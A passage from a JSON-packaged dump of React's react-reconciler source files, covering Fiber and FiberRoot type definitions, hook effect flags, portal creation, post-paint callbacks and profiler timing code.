&&\n      isConcurrentActEnvironment() &&\n      ReactSharedInternals.actQueue === null\n    ) {\n      console.error(\n        'A suspended resource finished loading inside a test, but the event ' +\n          'was not wrapped in act(...).\\n\\n' +\n          'When testing, code that resolves suspended data should be wrapped ' +\n          'into act(...):\\n\\n' +\n          'act(() => {\\n' +\n          '  /* finish loading suspended data */\\n' +\n          '});\\n' +\n          '/* assert on the output */\\n\\n' +\n          \"This ensures that you're testing the behavior the user would see \" +\n          'in the browser.' +\n          ' Learn more at https://react.dev/link/wrap-tests-with-act',\n      );\n    }\n  }\n}\n\nexport function setIsRunningInsertionEffect(isRunning: boolean): void {\n  if (__DEV__) {\n    isRunningInsertionEffect = isRunning;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactHookEffectTags.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type HookFlags = number;\n\nexport const NoFlags = /*   */ 0b0000;\n\n// Represents whether effect should fire.\nexport const HasEffect = /* */ 0b0001;\n\n// Represents the phase in which the effect (not the clean-up) fires.\nexport const Insertion = /* */ 0b0010;\nexport const Layout = /*    */ 0b0100;\nexport const Passive = /*   */ 0b1000;\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactInternalTypes.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  RefObject,\n  ReactContext,\n  StartTransitionOptions,\n  Wakeable,\n  Usable,\n  ReactFormState,\n  Awaited,\n  ReactComponentInfo,\n  ReactDebugInfo,\n  ReactKey,\n} from 'shared/ReactTypes';\nimport type {TransitionTypes} from 'react/src/ReactTransitionType';\nimport type {WorkTag} from './ReactWorkTags';\nimport type {TypeOfMode} from './ReactTypeOfMode';\nimport type {Flags} from './ReactFiberFlags';\nimport type {Lane, Lanes, LaneMap} from './ReactFiberLane';\nimport type {RootTag} from './ReactRootTags';\nimport type {\n  Container,\n  Instance,\n  TimeoutHandle,\n  NoTimeout,\n  ActivityInstance,\n  SuspenseInstance,\n  TransitionStatus,\n} from './ReactFiberConfig';\nimport type {Cache} from './ReactFiberCacheComponent';\nimport type {Transition} from 'react/src/ReactStartTransition';\nimport type {TracingMarkerInstance} from './ReactFiberTracingMarkerComponent';\nimport type {ConcurrentUpdate} from './ReactFiberConcurrentUpdates';\nimport type {ComponentStackNode} from 'react-server/src/ReactFizzComponentStack';\nimport type {ThenableState} from './ReactFiberThenable';\nimport type {ScheduledGesture} from './ReactFiberGestureScheduler';\n\n// Unwind Circular: moved from ReactFiberHooks.old\nexport type HookType =\n  | 'useState'\n  | 'useReducer'\n  | 'useContext'\n  | 'useRef'\n  | 'useEffect'\n  | 'useEffectEvent'\n  | 'useInsertionEffect'\n  | 'useLayoutEffect'\n  | 'useCallback'\n  | 'useMemo'\n  | 'useImperativeHandle'\n  | 'useDebugValue'\n  | 'useDeferredValue'\n  | 'useTransition'\n  | 'useSyncExternalStore'\n  | 'useId'\n  | 'useCacheRefresh'\n  | 'useOptimistic'\n  | 'useFormState'\n  | 'useActionState';\n\nexport type ContextDependency<T> = {\n  context: ReactContext<T>,\n  next: ContextDependency<mixed> | null,\n  memoizedValue: T,\n  ...\n};\n\nexport type Dependencies = {\n  lanes: Lanes,\n  firstContext: ContextDependency<mixed> | null,\n  _debugThenableState?: null | ThenableState, // DEV-only\n  ...\n};\n\nexport type MemoCache = {\n  data: Array<Array<any>>,\n  index: number,\n};\n\n// A Fiber is work on a Component that needs to be done or was done. There can\n// be more than one per component.\nexport type Fiber = {\n  // These first fields are conceptually members of an Instance. This used to\n  // be split into a separate type and intersected with the other Fiber fields,\n  // but until Flow fixes its intersection bugs, we've merged them into a\n  // single type.\n\n  // An Instance is shared between all versions of a component. We can easily\n  // break this out into a separate object to avoid copying so much to the\n  // alternate versions of the tree. We put this on a single object for now to\n  // minimize the number of objects created during the initial render.\n\n  // Tag identifying the type of fiber.\n  tag: WorkTag,\n\n  // Unique identifier of this child.\n  key: ReactKey,\n\n  // The value of element.type which is used to preserve the identity during\n  // reconciliation of this child.\n  elementType: any,\n\n  // The resolved function/class/ associated with this fiber.\n  type: any,\n\n  // The local state associated with this fiber.\n  stateNode: any,\n\n  // Conceptual aliases\n  // parent : Instance -> return The parent happens to be the same as the\n  // return fiber since we've merged the fiber and instance.\n\n  // Remaining fields belong to Fiber\n\n  // The Fiber to return to after finishing processing this one.\n  // This is effectively the parent, but there can be multiple parents (two)\n  // so this is only the parent of the thing we're currently processing.\n  // It is conceptually the same as the return address of a stack frame.\n  return: Fiber | null,\n\n  // Singly Linked List Tree Structure.\n  child: Fiber | null,\n  sibling: Fiber | null,\n  index: number,\n\n  // The ref last used to attach this node.\n  // I'll avoid adding an owner field for prod and model that as functions.\n  ref:\n    | null\n    | (((handle: mixed) => void) & {_stringRef: ?string, ...})\n    | RefObject,\n\n  refCleanup: null | (() => void),\n\n  // Input is the data coming into process this fiber. Arguments. Props.\n  pendingProps: any, // This type will be more specific once we overload the tag.\n  memoizedProps: any, // The props used to create the output.\n\n  // A queue of state updates and callbacks.\n  updateQueue: mixed,\n\n  // The state used to create the output\n  memoizedState: any,\n\n  // Dependencies (contexts, events) for this fiber, if it has any\n  dependencies: Dependencies | null,\n\n  // Bitfield that describes properties about the fiber and its subtree. E.g.\n  // the ConcurrentMode flag indicates whether the subtree should be async-by-\n  // default. When a fiber is created, it inherits the mode of its\n  // parent. Additional flags can be set at creation time, but after that the\n  // value should remain unchanged throughout the fiber's lifetime, particularly\n  // before its child fibers are created.\n  mode: TypeOfMode,\n\n  // Effect\n  flags: Flags,\n  subtreeFlags: Flags,\n  deletions: Array<Fiber> | null,\n\n  lanes: Lanes,\n  childLanes: Lanes,\n\n  // This is a pooled version of a Fiber. Every fiber that gets updated will\n  // eventually have a pair. There are cases when we can clean up pairs to save\n  // memory if we need to.\n  alternate: Fiber | null,\n\n  // Time spent rendering this Fiber and its descendants for the current update.\n  // This tells us how well the tree makes use of sCU for memoization.\n  // It is reset to 0 each time we render and only updated when we don't bailout.\n  // This field is only set when the enableProfilerTimer flag is enabled.\n  actualDuration?: number,\n\n  // If the Fiber is currently active in the \"render\" phase,\n  // This marks the time at which the work began.\n  // This field is only set when the enableProfilerTimer flag is enabled.\n  actualStartTime?: number,\n\n  // Duration of the most recent render time for this Fiber.\n  // This value is not updated when we bailout for memoization purposes.\n  // This field is only set when the enableProfilerTimer flag is enabled.\n  selfBaseDuration?: number,\n\n  // Sum of base times for all descendants of this Fiber.\n  // This value bubbles up during the \"complete\" phase.\n  // This field is only set when the enableProfilerTimer flag is enabled.\n  treeBaseDuration?: number,\n\n  // Conceptual aliases\n  // workInProgress : Fiber ->  alternate The alternate used for reuse happens\n  // to be the same as work in progress.\n  // __DEV__ only\n\n  _debugInfo?: ReactDebugInfo | null,\n  _debugOwner?: ReactComponentInfo | Fiber | null,\n  _debugStack?: Error | null,\n  _debugTask?: ConsoleTask | null,\n  _debugNeedsRemount?: boolean,\n\n  // Used to verify that the order of hooks does not change between renders.\n  _debugHookTypes?: Array<HookType> | null,\n};\n\ntype BaseFiberRootProperties = {\n  // The type of root (legacy, batched, concurrent, etc.)\n  tag: RootTag,\n\n  // Any additional information from the host associated with this root.\n  containerInfo: Container,\n  // Used only by persistent updates.\n  pendingChildren: any,\n  // The currently active root fiber. This is the mutable root of the tree.\n  current: Fiber,\n\n  pingCache: WeakMap<Wakeable, Set<mixed>> | Map<Wakeable, Set<mixed>> | null,\n\n  // Timeout handle returned by setTimeout. Used to cancel a pending timeout, if\n  // it's superseded by a new one.\n  timeoutHandle: TimeoutHandle | NoTimeout,\n  // When a root has a pending commit scheduled, calling this function will\n  // cancel it.\n  // TODO: Can this be consolidated with timeoutHandle?\n  cancelPendingCommit: null | (() => void),\n  // Top context object, used by renderSubtreeIntoContainer\n  context: Object | null,\n  pendingContext: Object | null,\n\n  // Used to create a linked list that represent all the roots that have\n  // pending work scheduled on them.\n  next: FiberRoot | null,\n\n  // Node returned by Scheduler.scheduleCallback. Represents the next rendering\n  // task that the root will work on.\n  callbackNode: any,\n  callbackPriority: Lane,\n  expirationTimes: LaneMap<number>,\n  hiddenUpdates: LaneMap<Array<ConcurrentUpdate> | null>,\n\n  pendingLanes: Lanes,\n  suspendedLanes: Lanes,\n  pingedLanes: Lanes,\n  warmLanes: Lanes,\n  expiredLanes: Lanes,\n  indicatorLanes: Lanes, // enableDefaultTransitionIndicator only\n  errorRecoveryDisabledLanes: Lanes,\n  shellSuspendCounter: number,\n\n  entangledLanes: Lanes,\n  entanglements: LaneMap<Lanes>,\n\n  pooledCache: Cache | null,\n  pooledCacheLanes: Lanes,\n\n  // TODO: In Fizz, id generation is specific to each server config. Maybe we\n  // should do this in Fiber, too? Deferring this decision for now because\n  // there's no other place to store the prefix except for an internal field on\n  // the public createRoot object, which the fiber tree does not currently have\n  // a reference to.\n  identifierPrefix: string,\n\n  onUncaughtError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n  onCaughtError: (\n    error: mixed,\n    errorInfo: {\n      +componentStack?: ?string,\n      +errorBoundary?: ?component(...props: any),\n    },\n  ) => void,\n  onRecoverableError: (\n    error: mixed,\n    errorInfo: {+componentStack?: ?string},\n  ) => void,\n\n  // enableDefaultTransitionIndicator only\n  onDefaultTransitionIndicator: () => void | (() => void),\n  pendingIndicator: null | (() => void),\n\n  formState: ReactFormState<any, any> | null,\n\n  // enableViewTransition only\n  transitionTypes: null | TransitionTypes, // TODO: Make this a LaneMap.\n  // enableGestureTransition only\n  pendingGestures: null | ScheduledGesture,\n  gestureClone: null | Instance,\n};\n\n// The following attributes are only used by DevTools and are only present in DEV builds.\n// They enable DevTools Profiler UI to show which Fiber(s) scheduled a given commit.\ntype UpdaterTrackingOnlyFiberRootProperties = {\n  memoizedUpdaters: Set<Fiber>,\n  pendingUpdatersLaneMap: LaneMap<Set<Fiber>>,\n};\n\nexport type SuspenseHydrationCallbacks = {\n  +onHydrated?: (\n    hydrationBoundary: SuspenseInstance | ActivityInstance,\n  ) => void,\n  +onDeleted?: (hydrationBoundary: SuspenseInstance | ActivityInstance) => void,\n  ...\n};\n\n// The follow fields are only used by enableSuspenseCallback for hydration.\ntype SuspenseCallbackOnlyFiberRootProperties = {\n  hydrationCallbacks: null | SuspenseHydrationCallbacks,\n};\n\nexport type TransitionTracingCallbacks = {\n  onTransitionStart?: (transitionName: string, startTime: number) => void,\n  onTransitionProgress?: (\n    transitionName: string,\n    startTime: number,\n    currentTime: number,\n    pending: Array<{name: null | string}>,\n  ) => void,\n  onTransitionIncomplete?: (\n    transitionName: string,\n    startTime: number,\n    deletions: Array<{\n      type: string,\n      name?: string | null,\n      endTime: number,\n    }>,\n  ) => void,\n  onTransitionComplete?: (\n    transitionName: string,\n    startTime: number,\n    endTime: number,\n  ) => void,\n  onMarkerProgress?: (\n    transitionName: string,\n    marker: string,\n    startTime: number,\n    currentTime: number,\n    pending: Array<{name: null | string}>,\n  ) => void,\n  onMarkerIncomplete?: (\n    transitionName: string,\n    marker: string,\n    startTime: number,\n    deletions: Array<{\n      type: string,\n      name?: string | null,\n      endTime: number,\n    }>,\n  ) => void,\n  onMarkerComplete?: (\n    transitionName: string,\n    marker: string,\n    startTime: number,\n    endTime: number,\n  ) => void,\n};\n\n// The following fields are only used in transition tracing in Profile builds\ntype TransitionTracingOnlyFiberRootProperties = {\n  transitionCallbacks: null | TransitionTracingCallbacks,\n  transitionLanes: LaneMap<Set<Transition> | null>,\n  // Transitions on the root can be represented as a bunch of tracing markers.\n  // Each entangled group of transitions can be treated as a tracing marker.\n  // It will have a set of pending suspense boundaries. These transitions\n  // are considered complete when the pending suspense boundaries set is\n  // empty. We can represent this as a Map of transitions to suspense\n  // boundary sets\n  incompleteTransitions: Map<Transition, TracingMarkerInstance>,\n};\n\ntype ProfilerCommitHooksOnlyFiberRootProperties = {\n  effectDuration: number,\n  passiveEffectDuration: number,\n};\n\n// Exported FiberRoot type includes all properties,\n// To avoid requiring potentially error-prone :any casts throughout the project.\n// The types are defined separately within this file to ensure they stay in sync.\nexport type FiberRoot = {\n  ...BaseFiberRootProperties,\n  ...SuspenseCallbackOnlyFiberRootProperties,\n  ...UpdaterTrackingOnlyFiberRootProperties,\n  ...TransitionTracingOnlyFiberRootProperties,\n  ...ProfilerCommitHooksOnlyFiberRootProperties,\n};\n\ntype BasicStateAction<S> = (S => S) | S;\ntype Dispatch<A> = A => void;\n\nexport type Dispatcher = {\n  use: <T>(Usable<T>) => T,\n  readContext<T>(context: ReactContext<T>): T,\n  useState<S>(initialState: (() => S) | S): [S, Dispatch<BasicStateAction<S>>],\n  useReducer<S, I, A>(\n    reducer: (S, A) => S,\n    initialArg: I,\n    init?: (I) => S,\n  ): [S, Dispatch<A>],\n  useContext<T>(context: ReactContext<T>): T,\n  useRef<T>(initialValue: T): {current: T},\n  useEffect(\n    create: () => (() => void) | void,\n    deps: Array<mixed> | void | null,\n  ): void,\n  useEffectEvent: <Args, F: (...Array<Args>) => mixed>(callback: F) => F,\n  useInsertionEffect(\n    create: () => (() => void) | void,\n    deps: Array<mixed> | void | null,\n  ): void,\n  useLayoutEffect(\n    create: () => (() => void) | void,\n    deps: Array<mixed> | void | null,\n  ): void,\n  useCallback<T>(callback: T, deps: Array<mixed> | void | null): T,\n  useMemo<T>(nextCreate: () => T, deps: Array<mixed> | void | null): T,\n  useImperativeHandle<T>(\n    ref: {current: T | null} | ((inst: T | null) => mixed) | null | void,\n    create: () => T,\n    deps: Array<mixed> | void | null,\n  ): void,\n  useDebugValue<T>(value: T, formatterFn: ?(value: T) => mixed): void,\n  useDeferredValue<T>(value: T, initialValue?: T): T,\n  useTransition(): [\n    boolean,\n    (callback: () => void, options?: StartTransitionOptions) => void,\n  ],\n  useSyncExternalStore<T>(\n    subscribe: (() => void) => () => void,\n    getSnapshot: () => T,\n    getServerSnapshot?: () => T,\n  ): T,\n  useId(): string,\n  useCacheRefresh: () => <T>(?() => T, ?T) => void,\n  useMemoCache: (size: number) => Array<any>,\n  useHostTransitionStatus: () => TransitionStatus,\n  useOptimistic: <S, A>(\n    passthrough: S,\n    reducer: ?(S, A) => S,\n  ) => [S, (A) => void],\n  useFormState: <S, P>(\n    action: (Awaited<S>, P) => S,\n    initialState: Awaited<S>,\n    permalink?: string,\n  ) => [Awaited<S>, (P) => void, boolean],\n  useActionState: <S, P>(\n    action: (Awaited<S>, P) => S,\n    initialState: Awaited<S>,\n    permalink?: string,\n  ) => [Awaited<S>, (P) => void, boolean],\n};\n\nexport type AsyncDispatcher = {\n  getCacheForType: <T>(resourceType: () => T) => T,\n  cacheSignal: () => null | AbortSignal,\n  // DEV-only\n  getOwner: () => null | Fiber | ReactComponentInfo | ComponentStackNode,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactPortal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {REACT_PORTAL_TYPE, REACT_OPTIMISTIC_KEY} from 'shared/ReactSymbols';\nimport {checkKeyStringCoercion} from 'shared/CheckStringCoercion';\n\nimport type {\n  ReactNodeList,\n  ReactPortal,\n  ReactOptimisticKey,\n} from 'shared/ReactTypes';\n\nexport function createPortal(\n  children: ReactNodeList,\n  containerInfo: any,\n  // TODO: figure out the API for cross-renderer implementation.\n  implementation: any,\n  key: ?string | ReactOptimisticKey = null,\n): ReactPortal {\n  let resolvedKey;\n  if (key == null) {\n    resolvedKey = null;\n  } else if (key === REACT_OPTIMISTIC_KEY) {\n    resolvedKey = REACT_OPTIMISTIC_KEY;\n  } else {\n    if (__DEV__) {\n      checkKeyStringCoercion(key);\n    }\n    resolvedKey = '' + key;\n  }\n  return {\n    // This tag allow us to uniquely identify this as a React Portal\n    $$typeof: REACT_PORTAL_TYPE,\n    key: resolvedKey,\n    children,\n    containerInfo,\n    implementation,\n  };\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactPostPaintCallback.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport {requestPostPaintCallback} from './ReactFiberConfig';\n\nlet postPaintCallbackScheduled = false;\nlet callbacks: Array<any | ((endTime: number) => void)> = [];\n\nexport function schedulePostPaintCallback(callback: (endTime: number) => void) {\n  callbacks.push(callback);\n  if (!postPaintCallbackScheduled) {\n    postPaintCallbackScheduled = true;\n    requestPostPaintCallback(endTime => {\n      for (let i = 0; i < callbacks.length; i++) {\n        callbacks[i](endTime);\n      }\n      postPaintCallbackScheduled = false;\n      callbacks = [];\n    });\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactProfilerTimer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\n\nimport type {SuspendedReason} from './ReactFiberWorkLoop';\n\nimport type {Lane, Lanes} from './ReactFiberLane';\n\nimport type {CapturedValue} from './ReactCapturedValue';\n\nimport {\n  isTransitionLane,\n  isBlockingLane,\n  isGestureRender,\n  includesTransitionLane,\n  includesBlockingLane,\n  NoLanes,\n} from './ReactFiberLane';\n\nimport {resolveEventType, resolveEventTimeStamp} from './ReactFiberConfig';\n\nimport {\n  enableProfilerCommitHooks,\n  enableProfilerNestedUpdatePhase,\n  enableProfilerTimer,\n  enableComponentPerformanceTrack,\n} from 'shared/ReactFeatureFlags';\n\nimport getComponentNameFromFiber from './getComponentNameFromFiber';\nimport {isAlreadyRendering} from './ReactFiberWorkLoop';\n\n// Intentionally not named imports because Rollup would use dynamic dispatch for\n// CommonJS interop named imports.\nimport * as Scheduler from 'scheduler';\n\nconst {unstable_now: now} = Scheduler;\n\nconst createTask =\n  // eslint-disable-next-line react-internal/no-production-logging\n  __DEV__ && console.createTask\n    ? // eslint-disable-next-line react-internal/no-production-logging\n      console.createTask\n    : (name: string) => null;\n\nexport const REGULAR_UPDATE: UpdateType = 0;\nexport const SPAWNED_UPDATE: UpdateType = 1;\nexport const PINGED_UPDATE: UpdateType = 2;\nexport opaque type UpdateType = 0 | 1 | 2;\n\nexport let renderStartTime: number = -0;\nexport let commitStartTime: number = -0;\nexport let commitEndTime: number = -0;\nexport let commitErrors: null | Array<CapturedValue<mixed>> = null;\nexport let profilerStartTime: number = -1.1;\nexport let profilerEffectDuration: number = -0;\nexport let componentEffectDuration: number = -0;\nexport let componentEffectStartTime: number = -1.1;\nexport let componentEffectEndTime: number = -1.1;\nexport let componentEffectErrors: null | Array<CapturedValue<mixed>> = null;\nexport let componentEffectSpawnedUpdate: boolean = false;\n\nexport let blockingClampTime: number = -0;\nexport let blockingUpdateTime: number = -1.1; // First sync setState scheduled.\nexport let blockingUpdateTask: null | ConsoleTask = null; // First sync setState's stack trace.\nexport let blockingUpdateType: UpdateType = 0;\nexport let blockingUpdateMethodName: null | string = null; // The name of the method that caused first sync update.\nexport let blockingUpdateComponentName: null | string = null; // The name of the component where first sync update happened.\nexport let blockingEventTime: number = -1.1; // Event timeStamp of the first setState.\nexport let blockingEventType: null | string = null; // Event type of the first setState.\nexport let blockingEventRepeatTime: number = -1.1;\nexport let blockingSuspendedTime: number = -1.1;\n\nexport let gestureClampTime: number = -0;\nexport let gestureUpdateTime: number = -1.1; // First setOptimistic scheduled inside startGestureTransition.\nexport let gestureUpdateTask: null | ConsoleTask = null; // First sync setState's stack trace.\nexport let gestureUpdateType: UpdateType = 0;\nexport let gestureUpdateMethodName: null | string = null; // The name of the method that caused first gesture update.\nexport let gestureUpdateComponentName: null | string = null; // The name of the component where first gesture update happened.\nexport let gestureEventTime: number = -1.1; // Event timeStamp of the first setState.\nexport let gestureEventType: null | string = null; // Event type of the first setState.\nexport let gestureEventRepeatTime: number = -1.1;\nexport let gestureSuspendedTime: number = -1.1;\n\n// TODO: This should really be one per Transition lane.\nexport let transitionClampTime: number = -0;\nexport let transitionStartTime: number = -1.1; // First startTransition call before setState.\nexport let transitionUpdateTime: number = -1.1; // First transition setState scheduled.\nexport let transitionUpdateType: UpdateType = 0;\nexport let transitionUpdateTask: null | ConsoleTask = null; // First transition setState's stack trace.\nexport let transitionUpdateMethodName: null | string = null; // The name of the method that caused first transition update.\nexport let transitionUpdateComponentName: null | string = null; // The name of the component where first transition update happened.\nexport let transitionEventTime: number = -1.1; // Event timeStamp of the first transition.\nexport let transitionEventType: null | string = null; // Event type of the first transition.\nexport let transitionEventRepeatTime: number = -1.1;\nexport let transitionSuspendedTime: number = -1.1;\n\nexport let retryClampTime: number = -0;\nexport let idleClampTime: number = -0;\n\nexport let animatingLanes: Lanes = NoLanes;\nexport let animatingTask: null | ConsoleTask = null; // First ViewTransition applying an Animation.\n\nexport let yieldReason: SuspendedReason = (0: any);\nexport let yieldStartTime: number = -1.1; // The time when we yielded to the event loop\n\nexport function startYieldTimer(reason: SuspendedReason) {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  yieldStartTime = now();\n  yieldReason = reason;\n}\n\nexport function startUpdateTimerByLane(\n  lane: Lane,\n  method: string,\n  fiber: Fiber | null,\n): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  if (isGestureRender(lane)) {\n    if (gestureUpdateTime < 0) {\n      gestureUpdateTime = now();\n      gestureUpdateTask = createTask(method);\n      gestureUpdateMethodName = method;\n      if (__DEV__ && fiber != null) {\n        gestureUpdateComponentName = getComponentNameFromFiber(fiber);\n      }\n      const newEventTime = resolveEventTimeStamp();\n      const newEventType = resolveEventType();\n      if (\n        newEventTime !== gestureEventRepeatTime ||\n        newEventType !== gestureEventType\n      ) {\n        gestureEventRepeatTime = -1.1;\n      }\n      gestureEventTime = newEventTime;\n      gestureEventType = newEventType;\n    }\n  } else if (isBlockingLane(lane)) {\n    if (blockingUpdateTime < 0) {\n      blockingUpdateTime = now();\n      blockingUpdateTask = createTask(method);\n      blockingUpdateMethodName = method;\n      if (__DEV__ && fiber != null) {\n        blockingUpdateComponentName = getComponentNameFromFiber(fiber);\n      }\n      if (isAlreadyRendering()) {\n        componentEffectSpawnedUpdate = true;\n        blockingUpdateType = SPAWNED_UPDATE;\n      }\n      const newEventTime = resolveEventTimeStamp();\n      const newEventType = resolveEventType();\n      if (\n        newEventTime !== blockingEventRepeatTime ||\n        newEventType !== blockingEventType\n      ) {\n        blockingEventRepeatTime = -1.1;\n      } else if (newEventType !== null) {\n        // If this is a second update in the same event, we treat it as a spawned update.\n        // This might be a microtask spawned from useEffect, multiple flushSync or\n        // a setState in a microtask spawned after the first setState. Regardless it's bad.\n        blockingUpdateType = SPAWNED_UPDATE;\n      }\n      blockingEventTime = newEventTime;\n      blockingEventType = newEventType;\n    }\n  } else if (isTransitionLane(lane)) {\n    if (transitionUpdateTime < 0) {\n      transitionUpdateTime = now();\n      transitionUpdateTask = createTask(method);\n      transitionUpdateMethodName = method;\n      if (__DEV__ && fiber != null) {\n        transitionUpdateComponentName = getComponentNameFromFiber(fiber);\n      }\n      if (transitionStartTime < 0) {\n        const newEventTime = resolveEventTimeStamp();\n        const newEventType = resolveEventType();\n        if (\n          newEventTime !== transitionEventRepeatTime ||\n          newEventType !== transitionEventType\n        ) {\n          transitionEventRepeatTime = -1.1;\n        }\n        transitionEventTime = newEventTime;\n        transitionEventType = newEventType;\n      }\n    }\n  }\n}\n\nexport function startHostActionTimer(fiber: Fiber): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  // This schedules an update on both the blocking lane for the pending state and on the\n  // transition lane for the action update. Using the debug task from the host fiber.\n  if (blockingUpdateTime < 0) {\n    blockingUpdateTime = now();\n    blockingUpdateTask =\n      __DEV__ && fiber._debugTask != null ? fiber._debugTask : null;\n    if (isAlreadyRendering()) {\n      blockingUpdateType = SPAWNED_UPDATE;\n    }\n    const newEventTime = resolveEventTimeStamp();\n    const newEventType = resolveEventType();\n    if (\n      newEventTime !== blockingEventRepeatTime ||\n      newEventType !== blockingEventType\n    ) {\n      blockingEventRepeatTime = -1.1;\n    } else if (newEventType !== null) {\n      // If this is a second update in the same event, we treat it as a spawned update.\n      // This might be a microtask spawned from useEffect, multiple flushSync or\n      // a setState in a microtask spawned after the first setState. Regardless it's bad.\n      blockingUpdateType = SPAWNED_UPDATE;\n    }\n    blockingEventTime = newEventTime;\n    blockingEventType = newEventType;\n  }\n  if (transitionUpdateTime < 0) {\n    transitionUpdateTime = now();\n    transitionUpdateTask =\n      __DEV__ && fiber._debugTask != null ? fiber._debugTask : null;\n    if (transitionStartTime < 0) {\n      const newEventTime = resolveEventTimeStamp();\n      const newEventType = resolveEventType();\n      if (\n        newEventTime !== transitionEventRepeatTime ||\n        newEventType !== transitionEventType\n      ) {\n        transitionEventRepeatTime = -1.1;\n      }\n      transitionEventTime = newEventTime;\n      transitionEventType = newEventType;\n    }\n  }\n}\n\nexport function startPingTimerByLanes(lanes: Lanes): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  // Mark the update time and clamp anything before it because we don't want\n  // to show the event time for pings but we also don't want to clear it\n  // because we still need to track if this was a repeat.\n  if (isGestureRender(lanes)) {\n    if (gestureUpdateTime < 0) {\n      gestureClampTime = gestureUpdateTime = now();\n      gestureUpdateTask = createTask('Promise Resolved');\n      gestureUpdateType = PINGED_UPDATE;\n    }\n  } else if (includesBlockingLane(lanes)) {\n    if (blockingUpdateTime < 0) {\n      blockingClampTime = blockingUpdateTime = now();\n      blockingUpdateTask = createTask('Promise Resolved');\n      blockingUpdateType = PINGED_UPDATE;\n    }\n  } else if (includesTransitionLane(lanes)) {\n    if (transitionUpdateTime < 0) {\n      transitionClampTime = transitionUpdateTime = now();\n      transitionUpdateTask = createTask('Promise Resolved');\n      transitionUpdateType = PINGED_UPDATE;\n    }\n  }\n}\n\nexport function trackSuspendedTime(lanes: Lanes, renderEndTime: number) {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  if (isGestureRender(lanes)) {\n    gestureSuspendedTime = renderEndTime;\n  } else if (includesBlockingLane(lanes)) {\n    blockingSuspendedTime = renderEndTime;\n  } else if (includesTransitionLane(lanes)) {\n    transitionSuspendedTime = renderEndTime;\n  }\n}\n\nexport function clearBlockingTimers(): void {\n  blockingUpdateTime = -1.1;\n  blockingUpdateType = 0;\n  blockingUpdateMethodName = null;\n  blockingUpdateComponentName = null;\n  blockingSuspendedTime = -1.1;\n  blockingEventRepeatTime = blockingEventTime;\n  blockingEventTime = -1.1;\n  blockingClampTime = now();\n}\n\nexport function startAsyncTransitionTimer(): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  if (transitionStartTime < 0 && transitionUpdateTime < 0) {\n    transitionStartTime = now();\n    const newEventTime = resolveEventTimeStamp();\n    const newEventType = resolveEventType();\n    if (\n      newEventTime !== transitionEventRepeatTime ||\n      newEventType !== transitionEventType\n    ) {\n      transitionEventRepeatTime = -1.1;\n    }\n    transitionEventTime = newEventTime;\n    transitionEventType = newEventType;\n  }\n}\n\nexport function hasScheduledTransitionWork(): boolean {\n  // If we have setState on a transition or scheduled useActionState update.\n  return transitionUpdateTime > -1;\n}\n\nexport function clearAsyncTransitionTimer(): void {\n  transitionStartTime = -1.1;\n}\n\nexport function clearTransitionTimers(): void {\n  transitionStartTime = -1.1;\n  transitionUpdateTime = -1.1;\n  transitionUpdateType = 0;\n  transitionSuspendedTime = -1.1;\n  transitionEventRepeatTime = transitionEventTime;\n  transitionEventTime = -1.1;\n  transitionClampTime = now();\n}\n\nexport function hasScheduledGestureTransitionWork(): boolean {\n  // If we have call setOptimistic on a gesture\n  return gestureUpdateTime > -1;\n}\n\nexport function clearGestureTimers(): void {\n  gestureUpdateTime = -1.1;\n  gestureUpdateType = 0;\n  gestureSuspendedTime = -1.1;\n  gestureEventRepeatTime = gestureEventTime;\n  gestureEventTime = -1.1;\n  gestureClampTime = now();\n}\n\nexport function clearGestureUpdates(): void {\n  // Same as clearGestureTimers but doesn't reset the clamp time because we didn't\n  // actually emit a render.\n  gestureUpdateTime = -1.1;\n  gestureUpdateType = 0;\n  gestureSuspendedTime = -1.1;\n  gestureEventRepeatTime = gestureEventTime;\n  gestureEventTime = -1.1;\n}\n\nexport function clampBlockingTimers(finalTime: number): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  // If we had new updates come in while we were still rendering or committing, we don't want\n  // those update times to create overlapping tracks in the performance timeline so we clamp\n  // them to the end of the commit phase.\n  blockingClampTime = finalTime;\n}\n\nexport function clampGestureTimers(finalTime: number): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  // If we had new updates come in while we were still rendering or committing, we don't want\n  // those update times to create overlapping tracks in the performance timeline so we clamp\n  // them to the end of the commit phase.\n  gestureClampTime = finalTime;\n}\n\nexport function clampTransitionTimers(finalTime: number): void {\n  if (!enableProfilerTimer || !enableComponentPerformanceTrack) {\n    return;\n  }\n  // If we had new updates come in while we were still rendering or committing, we don't want\n  // those update times to create overlapping tracks in the performance timeline so we clamp\n  // them to the end of the commit phase.\n  transitionClampTime = finalTime;\n}\n\nexport function clampRetryTimers(finalTime: number): void {\n  if 